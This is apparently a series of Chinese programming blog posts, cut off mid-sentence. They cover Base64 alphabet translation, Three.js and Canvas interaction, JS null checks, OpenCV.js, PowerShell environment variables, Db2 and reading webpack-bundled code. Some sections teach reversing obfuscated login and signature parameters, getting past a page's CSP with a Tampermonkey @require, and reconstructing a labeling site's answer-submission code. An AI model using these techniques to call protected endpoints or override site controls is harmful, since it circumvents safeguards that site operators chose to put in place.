在逆向接口参数时,经常遇到这类代码: b64 = base64.b64encode(data.encode("utf-8")).decode("ascii") return b64.translate(TRANS)b64.translate(TRANS) 是 Python 字符串的内置 translate() 方法,不是某个库的 API。 translate() 做了什么 先 Base64 编码,再按照 TRANS 映射表替换字符。 translate() 一次可以替换多个字符,比链式 replace() 更高效: TRANS = str.maketrans({ "+": "-", "/": "_", })"a+b/c=".translate(TRANS) # → "a-b_c="TRANS 的常见形式 替换少量字符 TRANS = str.maketrans({ "+": "-", "/": "_", })这是标准的 URL Safe Base64 变体(RFC 4648),把 +/ 换成 -_,避免 URL 编码问题。 整体字符映射(自定义 Base64) src = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" dst = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789-_"TRANS = str.maketrans(src, dst)这是在对整个 Base64 字符集做轮换映射,常用于接口参数混淆。 解码:把映射反过来 编码是 src → dst,解码就是 dst → src: REVERSE_TRANS = str.maketrans(dst, src)完整编解码实现 import base64src = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" dst = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789-_"TRANS = str.maketrans(src, dst) REVERSE_TRANS = str.maketrans(dst, src)def encode(data: str) -> str: b64 = base64.b64encode(data.encode()).decode() return b64.translate(TRANS)def decode(data: str) -> str: raw = data.translate(REVERSE_TRANS) return base64.b64decode(raw).decode()x = encode("hello world") print(x) # 输出混淆后的字符串 print(decode(x)) # → hello world简单的 URL Safe Base64 变体 如果 TRANS 只替换 +/=,编解码更简单: import base64def url_safe_encode(data: str) -> str: b64 = base64.b64encode(data.encode()).decode() return b64.translate(str.maketrans({"+": "-", "/": "_", "=": ""}))def url_safe_decode(data: str) -> str: # 补齐 padding padded = data + "=" * (-len(data) % 4) raw = padded.translate(str.maketrans({"-": "+", "_": "/"})) return base64.b64decode(raw).decode()逆向时如何确认 TRANS 内容 遇到 b64.translate(TRANS) 时,找到 TRANS 的定义:如果是 str.maketrans(src, dst):把 dst 作为新的 src,src 作为新的 dst,即可反向还原 如果是 str.maketrans({...}):把字典的键值互换即可很多登录接口、签名参数都会用这种方式,目的是避免 +/= 在 URL 中被转义,或者简单混淆防止直接调用。
Python str.translate + Base64 = 常见的 URL-Safe 变体或混淆
看到 Python 代码里: b64 = base64.b64encode(data.encode("utf-8")).decode("ascii") return b64.translate(TRANS)这里的 .translate() 不是 Base64 库的方法——是 Python 字符串内置的 str.translate()。整个逻辑其实两步:b64encode 把数据编成标准 Base64 字符串 translate(TRANS) 按映射表把字符逐个替换常见用途:URL-Safe Base64、简单混淆、自定义字母表。 str.translate 是什么 str.translate(table) 按照 table 里的映射一次性替换多个字符——比一堆 .replace() 快得多: TRANS = str.maketrans({"a": "x", "b": "y"}) "abc".translate(TRANS) # "xyc"maketrans 三种参数形式: # 字典:字符 → 字符 str.maketrans({"a": "x", "b": "y"})# 两个字符串:一一对应 str.maketrans("abc", "xyz") # a→x, b→y, c→z# 三个参数:第三个是"要删除的字符" str.maketrans("", "", "aeiou") # 删除所有元音 "hello world".translate(...) # "hll wrld"底层是 dict[int, int|None],translate 每个字符按 code point 查表。 URL-Safe Base64(最常见用途) 标准 Base64 用了 + 和 /,在 URL 里出现要 percent-encode(%2B %2F)。URL-safe 变体换掉这两个字符: TRANS = str.maketrans({"+": "-", "/": "_"})b64 = base64.b64encode(data).decode("ascii") url_safe = b64.translate(TRANS)其实 Python 标准库直接提供了: base64.urlsafe_b64encode(data).decode("ascii")自己写 translate 版本效果一样,一般是兼容其它平台的历史代码。 反向:URL-Safe → 标准 TRANS_BACK = str.maketrans({"-": "+", "_": "/"})standard_b64 = url_safe.translate(TRANS_BACK)# 补 padding(长度必须是 4 的倍数) padded = standard_b64 + "=" * (-len(standard_b64) % 4)data = base64.b64decode(padded)URL-safe Base64 通常省掉了 = padding——解码时得手动补。 完全自定义字母表 某些爬虫 / 反调试代码会用非标准字母表做混淆: CUSTOM_ALPHABET = "NOPQRSTUVWXYZABCDEFGHIJKLM" + \ "nopqrstuvwxyzabcdefghijklm" + \ "0123456789-_"STANDARD_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + \ "abcdefghijklmnopqrstuvwxyz" + \ "0123456789+/"TRANS = str.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)编码时把标准 Base64 输出通过 TRANS 转成"看起来不一样但结构相同"的字符串。解码时反向映射再走标准 b64decode。 这是很低强度的混淆——攻击者拿到映射表就完全还原了。但作为"不让日志里的密码一眼可读"够用。 性能对比 translate 一次映射多个字符,比 .replace() 快很多: import timeits = "a" * 10000t1 = timeit.timeit( "s.replace('a', 'x').replace('b', 'y')", globals={"s": s}, number=10000, )TRANS = str.maketrans({"a": "x", "b": "y"}) t2 = timeit.timeit( "s.translate(TRANS)", globals={"s": s, "TRANS": TRANS}, number=10000, )print(t1 / t2) # translate 一般快 3-5 倍尤其映射表大的时候差距明显。 常见坑 1. maketrans 键值长度必须一样(字符串形式) str.maketrans("abc", "xy") # 报错:长度不匹配 str.maketrans("abc", "xyz") # OK字典形式没这个限制。 2. translate 对 bytes 用 bytes 表 b"abc".translate(bytes.maketrans(b"a", b"x"))字符串和字节的 translate 不通用。 3. 删除字符时用 None TRANS = {ord("a"): None} "abc".translate(TRANS) # "bc"或者用 str.maketrans("", "", "a") 生成的表。 一句话总结 看到 str.translate(TRANS) + Base64 的组合,大概率是做 URL-safe Base64 或简单字母表混淆。Python 标准库直接有 urlsafe_b64encode,自己用 translate 主要是历史代码。真正的性能优势在于批量替换比多次 replace 快得多。
Three.js 点云矩形框选:屏幕投影与 SelectionBox
三种方案概览方案 适合场景 复杂度屏幕空间投影 通用标注、框选 低SelectionBox(Frustum) 需要真 3D 选取(不受遮挡) 中GPU Picking 超大点云(百万级)性能优先 高方案一:屏幕空间投影(推荐) 原理:把每个 3D 点投影到屏幕坐标,判断是否落在鼠标拖出的矩形内。 绘制选择框 const box = document.createElement('div'); box.style.cssText = ` position: fixed; border: 1px solid #00aaff; background: rgba(0, 170, 255, 0.1); pointer-events: none; `; document.body.appendChild(box);let startX = 0, startY = 0, endX = 0, endY = 0; let dragging = false;window.addEventListener('mousedown', e => { dragging = true; startX = endX = e.clientX; startY = endY = e.clientY; box.style.display = 'block'; });window.addEventListener('mousemove', e => { if (!dragging) return; endX = e.clientX; endY = e.clientY; const left = Math.min(startX, endX); const top = Math.min(startY, endY); box.style.left = left + 'px'; box.style.top = top + 'px'; box.style.width = Math.abs(endX - startX) + 'px'; box.style.height = Math.abs(endY - startY) + 'px'; });window.addEventListener('mouseup', () => { dragging = false; box.style.display = 'none'; selectPoints(); });框选核心逻辑 function selectPoints() { const minX = Math.min(startX, endX); const maxX = Math.max(startX, endX); const minY = Math.min(startY, endY); const maxY = Math.max(startY, endY); const positions = pointCloud.geometry.attributes.position; const selected = []; const vector = new THREE.Vector3(); for (let i = 0; i < positions.count; i++) { vector.fromBufferAttribute(positions, i); // 应用模型变换 vector.applyMatrix4(pointCloud.matrixWorld); // 投影到 NDC(Normalized Device Coordinates) vector.project(camera); // NDC [-1,1] 转屏幕像素 const sx = (vector.x * 0.5 + 0.5) * window.innerWidth; const sy = (vector.y * -0.5 + 0.5) * window.innerHeight; if (sx >= minX && sx <= maxX && sy >= minY && sy <= maxY) { selected.push(i); } } console.log('选中点数:', selected.length); highlightPoints(selected); }高亮选中点 function highlightPoints(indices) { const colors = pointCloud.geometry.attributes.color; // 重置所有点为白色 for (let i = 0; i < colors.count; i++) { colors.setXYZ(i, 1, 1, 1); } // 选中点设为红色 for (const idx of indices) { colors.setXYZ(idx, 1, 0, 0); } colors.needsUpdate = true; }方案二:官方 SelectionBox(3D Frustum) Three.js examples 提供了现成的框选工具: import { SelectionBox } from 'three/addons/interactive/SelectionBox.js'; import { SelectionHelper } from 'three/addons/interactive/SelectionHelper.js';const selectionBox = new SelectionBox(camera, scene); const helper = new SelectionHelper(renderer, 'selectBox');// CSS:.selectBox { border: 1px solid #55aaff; background: rgba(75,160,255,.1); }document.addEventListener('pointerdown', e => { selectionBox.startPoint.set( (e.clientX / window.innerWidth) * 2 - 1, -(e.clientY / window.innerHeight) * 2 + 1, 0.5 ); });document.addEventListener('pointermove', e => { if (!helper.isDown) return; selectionBox.endPoint.set( (e.clientX / window.innerWidth) * 2 - 1, -(e.clientY / window.innerHeight) * 2 + 1, 0.5 ); // 实时更新选中(可选,性能开销大) // selectionBox.select(); });document.addEventListener('pointerup', () => { const allSelected = selectionBox.select(); // allSelected 是 Object3D 数组(Mesh/Points 等) console.log(allSelected); });SelectionBox 用 Frustum 判断,不受相机遮挡影响,适合需要选取被遮挡点的场景。 方案三:GPU Picking 对百万级点云,CPU 遍历太慢,改用 Render-To-Texture(RTT):每个点用唯一颜色(编码点 index)渲染到离屏 FBO 读取矩形区域的像素颜色 解码颜色得到点 index// 伪代码 renderer.setRenderTarget(pickingTexture); renderer.render(scene, camera); // 用 picking shader 渲染const pixels = new Uint8Array(width * height * 4); renderer.readRenderTargetPixels(pickingTexture, x, y, width, height, pixels);const selected = decodeIndices(pixels); renderer.setRenderTarget(null);适合:自动驾驶标注平台、大规模点云编辑器等专业场景。 注意事项矩形太小时:endX - startX < 2 可跳过框选避免误触 相机控件冲突:拖动框选时需要禁用 OrbitControls(controls.enabled = false) 性能:方案一遍历所有点,百万级点云需要 Worker 或 GPU 方案
JS 判断空值:不把 0 当空的几种写法
JS 里的"空值"判断经常被 !value 搞坏——它会把 0、false、NaN 都当成空,实际业务里这三个通常是有效值。 不推荐:!value if (!value) { /* 错误率很高 */ }会把这些都当"空":null、undefined ✓(确实空) '' ✓(确实空) 0 ✗(数字零是有效值) false ✗(布尔假是有效值) NaN ✗(通常需要单独处理)推荐:精确判断 if (value == null || value === '') { // 空值:null、undefined、空字符串 }value == null 利用了宽松相等,同时捕获 null 和 undefined,不会误伤 0 或 false。 封装成工具函数: function isEmpty(value) { return value == null || value === ''; }isEmpty(null) // true isEmpty(undefined) // true isEmpty('') // trueisEmpty(0) // false isEmpty(false) // false isEmpty([]) // false(空数组不是空) isEmpty({}) // false(空对象不是空)加上空白字符串处理 如果 " " 也要算空: function isEmpty(value) { return value == null || (typeof value === 'string' && value.trim() === ''); }isEmpty(' ') // true isEmpty(' x ') // false用 ??= 做默认值赋值 ES2021 的空值合并赋值更精确: let count = 0; count ||= 10; // count = 10,因为 0 是 falsy(错误) count ??= 10; // count = 0,因为 0 不是 null/undefined(正确)只想在 null / undefined 时设默认值,用 ??= 而不是 ||=。 几种场景对应的写法场景 推荐写法只判断 null/undefined value == nullnull/undefined/空字符串 value == null || value === ''加上空白字符串 value == null || String(value).trim() === ''设默认值(0 是有效值) value ??= defaultVal设默认值(0 也算空) value ||= defaultVal表单校验里的典型误用 // ❌ 数量字段输入 0,会被误判为"未填写" if (!form.quantity) { showError('数量不能为空'); }// ✓ 正确写法 if (form.quantity == null || form.quantity === '') { showError('数量不能为空'); }记住:!value 是"falsy 检查",不是"空值检查"。两者在大多数场景下不等价。
JavaScript 判断空值:0 不算空的正确写法与 !value 的陷阱
JavaScript 里"空值"的定义因场景而异,!value 是最常见的误用——它会把 0、false、NaN、'' 全部当作空值处理,往往不符合预期。 陷阱:!value 的误判范围 const values = [0, false, NaN, '', null, undefined]; values.filter(v => !v); // [0, false, NaN, '', null, undefined] ← 全部被误判为空如果 0 是有效值(比如数量、评分、坐标),用 !value 会导致它被误过滤。 == null:同时覆盖 null 和 undefined == 宽松相等只在 null 和 undefined 之间成立,是检测这两者最简洁的方式: null == null // true undefined == null // true 0 == null // false '' == null // false false == null // false用法: function isNullish(value) { return value == null; // 等价于 value === null || value === undefined }加上空字符串判断 大多数场景下"空值"包括 null、undefined 和空字符串: function isEmpty(value) { return value == null || value === ''; }isEmpty(null) // true isEmpty(undefined) // true isEmpty('') // true isEmpty(0) // false ← 0 不算空 isEmpty(false) // false isEmpty([]) // false isEmpty(' ') // false(有空格的字符串不算空)加上空白字符串判断 如果全是空格的字符串也要视为空: function isEmpty(value) { return value == null || (typeof value === 'string' && value.trim() === ''); }isEmpty(' ') // true场景对照表场景 推荐写法只判断 null/undefined value == nullnull/undefined/空字符串 value == null || value === ''同时包含空白字符串 value == null || value?.trim() === ''非空对象(有属性) Object.keys(value).length > 0非空数组 Array.isArray(value) && value.length > 0空值合并运算符 ?? ES2020 引入的 ?? 只在左侧为 null 或 undefined 时取右侧默认值,不误判 0 和 false: const count = userInput ?? 0; // userInput 为 null/undefined 时取 0// 对比 ||: const count2 = userInput || 0; // userInput 为 0 时也会取右侧!需要默认值时优先用 ?? 而非 ||。
JS 判断空值排除 0 与 Canvas 滚轮缩放图片实现
JS 判断空值但 0 不算空 直接用 !value 的问题: if (!value) { ... } // 会把 0、false、NaN、''、null、undefined 全算空 // 经常误伤数字 0正确写法 —— 只排除 null、undefined、空字符串: if (value == null || value === '') { // 空值 }value == null 会同时匹配 null 和 undefined(宽松相等),不会匹配 0 或 false。 封装函数 function isEmpty(value) { return value == null || value === ''; }isEmpty(null) // true isEmpty(undefined) // true isEmpty('') // trueisEmpty(0) // false isEmpty(false) // false isEmpty([]) // false isEmpty({}) // false同时排除全空格字符串 function isEmpty(value) { return value == null || (typeof value === 'string' && value.trim() === ''); }isEmpty(' ') // true isEmpty(' a ') // falseCanvas 滚轮缩放图片 核心思路:记录 scale(缩放比)和 offsetX/Y(画布偏移量),每次绘制时先平移再缩放。 <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <style> html, body { margin: 0; height: 100%; overflow: hidden; background: #111; } canvas { display: block; width: 100vw; height: 100vh; cursor: grab; } </style> </head> <body> <canvas id="canvas"></canvas> <script> const canvas = document.getElementById("canvas"); const ctx = canvas.getContext("2d");canvas.width = window.innerWidth; canvas.height = window.innerHeight;const img = new Image(); img.src = "https://picsum.photos/1200/800";let scale = 1; let offsetX = 0; let offsetY = 0;img.onload = () => draw();function draw() { ctx.clearRect(0, 0, canvas.width, canvas.height); ctx.save(); ctx.translate(offsetX, offsetY); ctx.scale(scale, scale); ctx.drawImage(img, 0, 0); ctx.restore(); }// 滚轮缩放 canvas.addEventListener("wheel", (e) => { e.preventDefault(); const mouseX = e.offsetX; const mouseY = e.offsetY; // 鼠标在图片坐标系中的位置(缩放前) const x = (mouseX - offsetX) / scale; const y = (mouseY - offsetY) / scale; const zoom = e.deltaY < 0 ? 1.1 : 0.9; scale *= zoom; scale = Math.max(0.1, Math.min(scale, 20)); // 限制范围 // 缩放后修正偏移,保证鼠标所在点不漂移 offsetX = mouseX - x * scale; offsetY = mouseY - y * scale; draw(); }, { passive: false });// 拖拽移动 let dragging = false; let lastX = 0, lastY = 0;canvas.addEventListener("mousedown", (e) => { dragging = true; lastX = e.clientX; lastY = e.clientY; canvas.style.cursor = "grabbing"; });window.addEventListener("mousemove", (e) => { if (!dragging) return; offsetX += e.clientX - lastX; offsetY += e.clientY - lastY; lastX = e.clientX; lastY = e.clientY; draw(); });window.addEventListener("mouseup", () => { dragging = false; canvas.style.cursor = "grab"; });window.addEventListener("resize", () => { canvas.width = window.innerWidth; canvas.height = window.innerHeight; draw(); }); </script> </body> </html>鼠标中心缩放原理 缩放时要保持鼠标位置不变,关键公式: // 缩放前:鼠标在图片坐标系的位置 x = (mouseX - offsetX) / scale// 缩放后:offsetX 要满足 mouseX = x * newScale + newOffsetX newOffsetX = mouseX - x * newScale即先算出鼠标对应图片上的点坐标,缩放后重新反算偏移量。不做这一步,图片会向左上角方向漂移。 { passive: false } 的作用 wheel 事件的 e.preventDefault() 阻止页面滚动,必须在监听器选项里显式传 { passive: false },否则浏览器忽略 preventDefault() 并输出警告。
OpenCV.js 等比例模板匹配:Canvas 框选 + 局部搜索
问题场景 图 A(已标注,尺寸 W1×H1)在图 B(待匹配,尺寸 W2×H2)中找对应区域。如果 W1≠W2,直接用原始模板做 matchTemplate 会因为尺寸不匹配找错位置。 核心函数 /** * 等比例自适应模板匹配 * @param {HTMLCanvasElement} canvasA - 模板来源图(图A) * @param {HTMLCanvasElement} canvasB - 待搜索图(图B) * @param {{x,y,w,h}} cropRect - 图A中框选的区域 * @param {number} padding - 搜索区域外扩像素(默认150) */ function matchCanvasRegion(canvasA, canvasB, cropRect, padding = 150) { let matA = cv.imread(canvasA); let matB = cv.imread(canvasB); // 计算两图的尺寸比例 const scale = ((matB.cols / matA.cols) + (matB.rows / matA.rows)) / 2; // 从图A切出模板,并按比例缩放 let rawTempl = matA.roi(new cv.Rect( Math.round(cropRect.x), Math.round(cropRect.y), Math.round(cropRect.w), Math.round(cropRect.h) )); let templ = new cv.Mat(); cv.resize(rawTempl, templ, new cv.Size( Math.max(1, Math.round(cropRect.w * scale)), Math.max(1, Math.round(cropRect.h * scale)) ), 0, 0, cv.INTER_LINEAR ); rawTempl.delete(); // 在图B中计算模板的理论位置,加 padding 限定搜索 ROI const mappedX = cropRect.x * scale; const mappedY = cropRect.y * scale; const roiX = Math.max(0, Math.round(mappedX - padding)); const roiY = Math.max(0, Math.round(mappedY - padding)); const roiW = Math.min(matB.cols - roiX, templ.cols + padding * 2); const roiH = Math.min(matB.rows - roiY, templ.rows + padding * 2); let roi = matB.roi(new cv.Rect(roiX, roiY, roiW, roiH)); // 模板匹配(TM_SQDIFF_NORMED 取最小值) let resultMat = new cv.Mat(); let mask = new cv.Mat(); cv.matchTemplate(roi, templ, resultMat, cv.TM_SQDIFF_NORMED, mask); const result = cv.minMaxLoc(resultMat); // 局部坐标转全图坐标 const finalX = result.minLoc.x + roiX; const finalY = result.minLoc.y + roiY; // 清理 Mat,避免内存泄漏 roi.delete(); resultMat.delete(); mask.delete(); templ.delete(); matA.delete(); matB.delete(); return { x: finalX, y: finalY, width: templ.cols, height: templ.rows, score: result.minVal, // 越小越匹配 scale }; }Canvas 框选实现 let isDragging = false; let startX, startY;canvas.addEventListener("mousedown", e => { isDragging = true; const rect = canvas.getBoundingClientRect(); startX = e.clientX - rect.left; startY = e.clientY - rect.top; });canvas.addEventListener("mousemove", e => { if (!isDragging) return; const rect = canvas.getBoundingClientRect(); const curX = e.clientX - rect.left; const curY = e.clientY - rect.top; // 绘制选择框预览 drawSelectionBox(startX, startY, curX - startX, curY - startY); });canvas.addEventListener("mouseup", e => { isDragging = false; const rect = canvas.getBoundingClientRect(); const endX = e.clientX - rect.left; const endY = e.clientY - rect.top; cropRect = { x: Math.min(startX, endX), y: Math.min(startY, endY), w: Math.abs(endX - startX), h: Math.abs(endY - startY) }; });canvas 显示尺寸和图像实际尺寸可能不同(canvas.width vs CSS 宽度),传给 matchCanvasRegion 前需换算: const scaleX = canvas.width / canvas.offsetWidth; const scaleY = canvas.height / canvas.offsetHeight; const realCrop = { x: cropRect.x * scaleX, y: cropRect.y * scaleY, w: cropRect.w * scaleX, h: cropRect.h * scaleY };关键设计点 为什么用 TM_SQDIFF_NORMED:该方法返回差异值(越小越匹配),对光照变化比 TM_CCOEFF_NORMED 稍宽容,且结果在 0~1 之间便于设置阈值。 为什么限定 ROI 搜索:全图 matchTemplate 在高分辨率图上耗时长。图 A 和图 B 通常是同一场景的不同分辨率版本,目标位置按比例平移,padding 150px 足以覆盖拍摄角度差异。 内存管理:OpenCV.js 是 WebAssembly,new cv.Mat() 分配的内存不受 JS GC 管理,每次使用后必须手动 .delete(),否则会逐渐 OOM。
动态加载 OpenCV.js:createElement 与油猴 @require 的区别
createElement 动态加载 把原来的 <script> 标签写法: <script async src="https://docs.opencv.org/4.x/opencv.js" onload="onOpenCvReady();" type="text/javascript"></script>转成 JS 动态创建: const script = document.createElement("script"); script.src = "https://docs.opencv.org/4.x/opencv.js"; script.async = true; script.onload = () => { onOpenCvReady(); }; document.head.appendChild(script);避免重复加载 if (!window.cv) { const script = document.createElement("script"); script.src = "https://docs.opencv.org/4.x/opencv.js"; script.async = true; script.onload = () => { console.log("OpenCV loaded"); onOpenCvReady(); }; document.head.appendChild(script); } else { onOpenCvReady(); }onload 不等于 OpenCV 初始化完成 script.onload 只表示 JS 文件下载解析完毕,但 OpenCV.js 内部有一个 WebAssembly 初始化过程,cv 对象此时可能还未就绪。 如果在 onload 里立刻调用 new cv.Mat() 会报错。正确做法是等 cv.onRuntimeInitialized: script.onload = () => { cv["onRuntimeInitialized"] = () => { // 这里才能安全使用 cv API const mat = new cv.Mat(); console.log("OpenCV Ready"); }; };封装成 Promise function loadOpenCV() { return new Promise((resolve, reject) => { if (window.cv) { resolve(window.cv); return; } const script = document.createElement("script"); script.src = "https://docs.opencv.org/4.x/opencv.js"; script.async = true; script.onload = () => { cv["onRuntimeInitialized"] = () => { resolve(cv); }; }; script.onerror = reject; document.head.appendChild(script); }); }loadOpenCV().then((cv) => { console.log("Ready"); const mat = new cv.Mat(100, 100, cv.CV_8UC3); console.log(mat); });油猴脚本:@require 绕过 CSP 有些网页设置了 Content-Security-Policy(CSP),会阻止加载非白名单来源的外部脚本。这时用 createElement 注入 script 会直接被浏览器拦截。 油猴的 @require 是在油猴自身的沙箱里加载,不经过页面的 CSP,可以绕过这个限制: // ==UserScript== // @name Load OpenCV // @namespace http://tampermonkey.net/ // @version 1.0 // @match *://*/* // @require https://docs.opencv.org/4.x/opencv.js // @grant none // ==/UserScript==(function () { 'use strict'; cv.onRuntimeInitialized = () => { console.log('OpenCV Ready'); const mat = new cv.Mat(100, 100, cv.CV_8UC3); console.log(mat.rows, mat.cols); }; })();@require 里的脚本在油猴加载阶段执行,cv 全局变量在脚本运行时已经存在。 两种方式对比方式 适用场景 CSP 限制createElement + onload 普通页面、自己控制的网页 受页面 CSP 限制@require 油猴脚本 不受页面 CSP 影响如果网页没有 CSP,两种都能用,@require 写法更简洁;有 CSP 时只能用 @require。
PowerShell 环境变量设置:临时赋值、永久写入与路径追加
临时设置(当前会话有效) $env:ADMIN_PASSWORD = "your-password"关闭终端后失效。读取: echo $env:ADMIN_PASSWORD # 或 Write-Host $env:ADMIN_PASSWORD永久设置(当前用户) [System.Environment]::SetEnvironmentVariable("ADMIN_PASSWORD", "your-password", "User")写入注册表 HKCU\Environment,重新打开终端生效,不影响其他用户。 永久设置(系统级,需管理员权限) [System.Environment]::SetEnvironmentVariable("ADMIN_PASSWORD", "your-password", "Machine")写入 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment,所有用户生效。 读取已保存的环境变量 # 读取用户级别 [System.Environment]::GetEnvironmentVariable("ADMIN_PASSWORD", "User")# 读取机器级别 [System.Environment]::GetEnvironmentVariable("ADMIN_PASSWORD", "Machine")删除环境变量 # 删除用户级别 [System.Environment]::SetEnvironmentVariable("ADMIN_PASSWORD", $null, "User")追加 PATH(避免覆盖) $current = [System.Environment]::GetEnvironmentVariable("PATH", "User") [System.Environment]::SetEnvironmentVariable("PATH", "$current;D:\my-tools", "User")不要直接给 PATH 赋值,否则会覆盖已有路径。 当前会话立即生效 SetEnvironmentVariable 修改的是注册表,当前会话的 $env: 不会自动更新。如果需要立即生效,手动同步一次: $env:ADMIN_PASSWORD = [System.Environment]::GetEnvironmentVariable("ADMIN_PASSWORD", "User")查看所有环境变量 Get-ChildItem Env:
IBM Db2 的定位与应用领域
IBM Db2 是 IBM 的大型关系型数据库,在互联网公司几乎看不到,但在金融、政府和大型机生态中至今仍是核心基础设施。 核心应用领域 银行 / 金融(最主要场景) Db2 在这个领域的地位最为稳固:银行核心账务系统 信贷审批和清算 证券交易撮合 保险核心系统原因是 Db2 在 IBM 大型机(z/OS)上的 ACID 事务能力经过几十年验证,部分银行核心系统已稳定运行 20~30 年,日均处理数亿笔交易几乎不宕机。很多老牌银行的底层组合是 IBM Mainframe + z/OS + Db2,更换成本极高。 政府 / 大型国企 历史上大量政府和国企采购了 IBM 的全套方案(小型机 + AIX + WebSphere + Db2),典型领域:税务系统 社保和医保系统 电信计费 能源调度 铁路订票这类系统生命周期很长,更倾向于稳定性而非新技术,因此沿用至今。 大型机(Mainframe)生态 这是 Db2 最特殊的优势——大多数开发者接触不到 IBM 大型机,但全球大量关键基础设施仍在 Mainframe 上运行:全球 80% 以上的信用卡交易、几乎所有主要航空公司的订票系统、大量跨国银行的清算网络。Db2 在这个生态里几乎是"官方搭档"。 ERP / 企业系统 传统 Java EE 企业项目的经典组合:WebSphere + Db2 + Oracle,在财务、供应链、仓储管理类系统中有相当存量。 为什么互联网公司很少用 互联网公司的优先考量是:开源:避免商业授权成本 社区活跃:遇到问题能快速找到解决方案 云原生:与 Kubernetes、微服务架构配合 弹性伸缩:流量波动大,需要横向扩展Db2 的定价体系较重,运维门槛高,人才市场小,不符合互联网团队的需求。 与 MySQL / PostgreSQL 的定位差异维度 Db2 MySQL / PostgreSQL授权模式 商业授权 开源主要场景 传统企业、大型机 互联网、云原生运维成本 高 低事务处理 极强 强大型机支持 原生 无新项目采用率 低 高现实价值 虽然新项目几乎不选 Db2,但现有存量系统的价值不可忽视:每天处理几亿笔交易、稳定运行 20+ 年、几乎零宕机的系统,才是传统金融机构最看重的能力。Db2 DBA 在银行/证券/保险行业仍是稀缺岗位。
读懂 webpack 混淆代码:(0, fn)() 模式与 RxJS 链解析
(0, fn)(...) 是什么 这是 webpack / Babel 生成代码中常见的间接调用写法: (0, s.p)(args)等价于: const _fn = s.p; _fn(args); // 普通函数调用,this === undefined(严格模式)为什么不直接 s.p(args)? s.p(args) 会将 this 绑定为 s;逗号运算符写法 (0, s.p) 会把方法"脱离"对象,变成普通函数调用,this 不再指向 s。 这在以下场景有实际意义:s.p 是从模块导入的函数(如 rxjs.from),不应绑 this 打包工具为了兼容 ES Modules 的 strict mode 语义,确保 this === undefined Tree-shaking 友好:逗号写法对某些打包器更易分析常见形式: (0, rxjs.of)(1, 2, 3) // 等价 rxjs.of(1, 2, 3) (0, lodash.map)(arr, fn) // 等价 lodash.map(arr, fn) (0, react.createElement)(...) // 等价 react.createElement(...) (0, o.Z)(list) // 混淆后的模块导出函数读到这种代码,直接把 (0, expr) 去掉,剩下的 expr(...) 就是实际调用。 真实打包代码示例 下面是一段典型的混淆打包代码(来自实际页面逆向): (0, s.p)( (t = window.$).when.apply(t, (0, o.Z)(window.beforeSubmitQueue.map(function(e) { return e(); })) ) ).switchMap( window.MarkLib.submitMarkAnswer.bind(window.MarkLib, !0, e) ).filter(function(t) { var n = t.fire_status, r = void 0 === n || n; var a = t.reject, o = void 0 !== a && a; return !e && w(!1), r && !o; }).map(JSON.stringify.bind(JSON)).do(function(t) { return y({ type: "markpage/saveAnswer", payload: { isTemporary: 1, packetId: Number(p), ... } }); }).subscribe();逐步还原 第一步:去掉 (0, expr) 包装 s.p(...) // s.p 可能是 rxjs.from / rxjs.fromPromise o.Z(list) // o.Z 是某个导出函数,根据上下文判断第二步:提取 window 上的对象引用 const { $, beforeSubmitQueue, MarkLib } = window;第三步:还原 .apply 和 .bind // (t = window.$).when.apply(t, args) → $.when(...args) // fn.bind(obj, true, e) → () => obj.fn(true, e)第四步:改写旧版 RxJS API旧版 新版.do(fn) .tap(fn)fromPromise(p) from(p).map(fn) .map(fn) 不变还原结果: const { $, beforeSubmitQueue, MarkLib } = window;from($.when(...beforeSubmitQueue.map(fn => fn()))) .pipe( switchMap(() => MarkLib.submitMarkAnswer(true, e)), filter(({ fire_status = true, reject = false }) => { if (!e) w(false); return fire_status && !reject; }), map(JSON.stringify), tap(answer => { y({ type: "markpage/saveAnswer", payload: { isTemporary: 1, packetId: Number(p), pageId: Number(a), round: f, stage: k, answer: j(answer, c, u) }, callback() { if (!e) w(false); } }); }) ) .subscribe();逻辑说明 还原后的业务逻辑只有一句话:执行提交前钩子(beforeSubmitQueue)→ 提交答案(submitMarkAnswer)→ 过滤无效结果 → 序列化 → 保存到 Redux store关键点:$.when(...tasks):jQuery Deferred,等待所有 before-hooks 完成 switchMap:前一个 Observable 完成后切换到新的,丢弃之前未完成的 filter:fire_status 不为 false 且 reject 不为 true 才继续 .subscribe():没有 subscribe,RxJS 链不会执行(冷 Observable)其他常见混淆模式 // void 0 === undefined void 0 // → undefined// !! 转布尔 !!value // → Boolean(value)// 逗号运算符返回最后一个值 (a(), b(), c()) // 执行 a、b、c,返回 c 的值// 短路赋值 x = void 0 === x ? defaultVal : x // → x ?? defaultVal(现代写法)读打包代码时,把这些模式认出来后,理解代码逻辑会快很多。
JavaScript JSON 深层字符串替换:replaceAll 与递归遍历
常见写法 e = JSON.parse( JSON.stringify(e).replace( /https:\/\/old-domain\.obs\.cn-east-4\.example\.com:443/g, '/api' ) );先序列化为 JSON 字符串,全局替换目标子串,再反序列化回对象。适合简单的 URL 替换场景。 用 replaceAll 替代正则 对字面字符串使用正则容易漏掉 . 的转义(.com 写成 .com 会匹配任意字符),直接用 replaceAll 更安全: const target = 'https://old-domain.obs.cn-east-4.example.com:443';e = JSON.parse( JSON.stringify(e).replaceAll(target, '/api') );replaceAll 是纯字符串匹配,不会误伤相邻字符,可读性也更强。 JSON.stringify 会丢失特殊值 // 以下类型经 JSON.stringify 后会丢失或变形 new Date() // 变为 ISO 字符串,失去 Date 类型 new Map() // 变为 {} new Set() // 变为 {} undefined // 对象属性被整体删除 BigInt // 抛出 TypeError function // 被删除如果对象中包含这些类型,序列化 + 替换 + 反序列化会静默丢失数据。 推荐:递归遍历替换 function deepReplace(obj, from, to) { if (typeof obj === 'string') { return obj.replaceAll(from, to); } if (Array.isArray(obj)) { return obj.map(v => deepReplace(v, from, to)); } if (obj && typeof obj === 'object') { for (const k in obj) { obj[k] = deepReplace(obj[k], from, to); } } return obj; }deepReplace(e, 'https://old-domain.com', '/api');不走序列化路径,Date / Map / Set / 